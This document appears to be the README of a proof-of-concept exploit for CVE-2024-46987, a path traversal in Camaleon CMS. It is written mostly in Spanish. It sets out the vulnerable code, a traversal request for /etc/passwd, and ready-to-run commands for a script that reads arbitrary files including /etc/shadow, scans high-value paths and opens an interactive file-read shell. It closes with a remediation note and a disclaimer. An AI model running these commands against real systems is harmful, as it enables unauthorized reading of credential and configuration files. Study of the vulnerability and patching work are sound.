
PoC exploit para CVE-2024-46987 — Camaleon CMS recorrido de ruta arbitrario (lectura de archivos)
| Campo | Detalle |
|---|
| CVE | CVE-2024-46987 |
| Producto | Camaleon CMS |
| Versiones | >= 2.8.0, < 2.8.2 (también confirmado en 2.9.0) |
| Tipo | Path Traversal / Lectura Arbitraria de Archivos (CWE-22) |
| Autenticación | Requerida (cualquier cuenta de bajo privilegio) |
| CVSS | 7.7 Alta — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| Corregido en | 2.8.2 |
MediaController#download_private_file pasa params[:file] sin sanitizar a fetch_file:
# Vulnerable sink
fetch_file("private/#{params[:file]}")
No se aplica normalización de ruta antes de usar el valor con send_file, lo que permite a un atacante autenticado salir del directorio private/ usando secuencias ../ y leer archivos arbitrarios a los que el proceso de Rails tenga permiso de acceso.
Endpoint vulnerable:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requestspip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# Single file
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
| Bandera | Descripción |
|---|---|
-u | URL base del objetivo |
-U / -P | Usuario y contraseña del CMS |
--cookie | Cadena de cookie sin procesar (alternativa a las credenciales) |
-f | Ruta del archivo a leer (por defecto: /etc/passwd) |
-d | Profundidad de traversal — número de ../ antepuestos (por defecto: 10) |
--interesting | Iterar sobre la lista incorporada de rutas de alto valor |
--interactive | Shell interactivo de lectura de archivos |
--no-verify | Deshabilitar verificación del certificado TLS |
--debug | Salida detallada para diagnosticar fallos de autenticación |
/procLos archivos bajo /proc/self/ (por ejemplo, environ, cmdline) devuelven HTTP 200 pero un cuerpo vacío. Esto es esperado — el kernel reporta su tamaño como 0, por lo que send_file de Rails no transmite nada. Utilice archivos planos regulares en su lugar.
Actualice Camaleon CMS a la versión 2.8.2 o posterior. El parche agrega una normalización de ruta adecuada y garantiza que la ruta resuelta permanezca dentro del directorio previsto antes de llamar a send_file.
Alternativamente:
...Esta prueba de concepto se publica con fines educativos y para ayudar a los profesionales de seguridad a comprender y reproducir la vulnerabilidad en entornos de prueba autorizados. El autor no es responsable de ningún uso indebido. Siempre obtenga permiso explícito por escrito antes de probar sistemas que no posea.